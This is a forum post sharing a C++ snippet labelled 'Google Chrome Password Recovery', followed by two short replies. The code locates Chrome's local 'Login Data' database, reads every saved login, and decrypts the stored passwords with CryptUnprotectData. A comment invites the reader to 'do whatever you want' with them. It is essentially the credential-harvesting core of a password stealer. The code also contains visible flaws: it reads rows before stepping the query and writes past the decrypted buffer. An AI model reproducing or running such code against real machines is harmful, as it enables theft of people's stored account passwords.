howtothings.co.uk

Full Version: [C++] Google Chrome Password Recovery
You're currently viewing a stripped down version of our content. View the full version with proper formatting.
Here's a snippet for Google Chrome Password Recovery
Coded a long time ago, but it still works.

[code=cpp]/*
* Google Chrome Password Recovery
*
* Coded by Sacrificial
* [email protected]
*
*/

void GetGoogleChrome()
{
char szPath[MAX_PATH];
sqlite3 *lpDatabase;
sqlite3_stmt *lpStatement;
const char *lpTail;
char *szURL, *szUsername, *szPassword;
DATA_BLOB DataIn, DataOut;

SHGetSpecialFolderPath(0, szPath, 0x1C, 0);
strcat(szPath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
if(GetFileAttributes(szPath) != 0xFFFFFFFF) {
sqlite3_open(szPath, &lpDatabase);
sqlite3_prepare_v2(lpDatabase, "SELECT * FROM logins", 20, &lpStatement, &lpTail);
do {
DataIn.pbData = (LPBYTE)sqlite3_column_blob(lpStatement, 5);
DataIn.cbData = sqlite3_column_bytes(lpStatement, 5);
if(CryptUnprotectData(&DataIn, 0, 0, 0, 0, 8, &DataOut)) {
szURL = (char*)sqlite3_column_text(lpStatement, 0);
szUsername = (char*)sqlite3_column_text(lpStatement, 3);
szPassword = (char*)DataOut.pbData;
szPassword[DataOut.cbData] = '\0';
// Do whatever you want with em;
}
} while(sqlite3_step(lpStatement) == SQLITE_ROW);
}
}[/code]

Note:
Its not the best coding, but it works, and like I said its old.
It requires the SQLite libraries.
For Chrome 6 and up the path is "\\Google\\Chrome\\User Data\\Default\\Login Data"
For Chrome 5 and below the path is "\\Google\\Chrome\\User Data\\Default\\Web Data"
Google Chrome Passwrod Recovery.. What would be an example use of this and what passwords does it recover?
Most likely saved passwords, you should know this Mark. Looks pretty clean, similar to the C work I happened to be doing in SQLITE just the other day.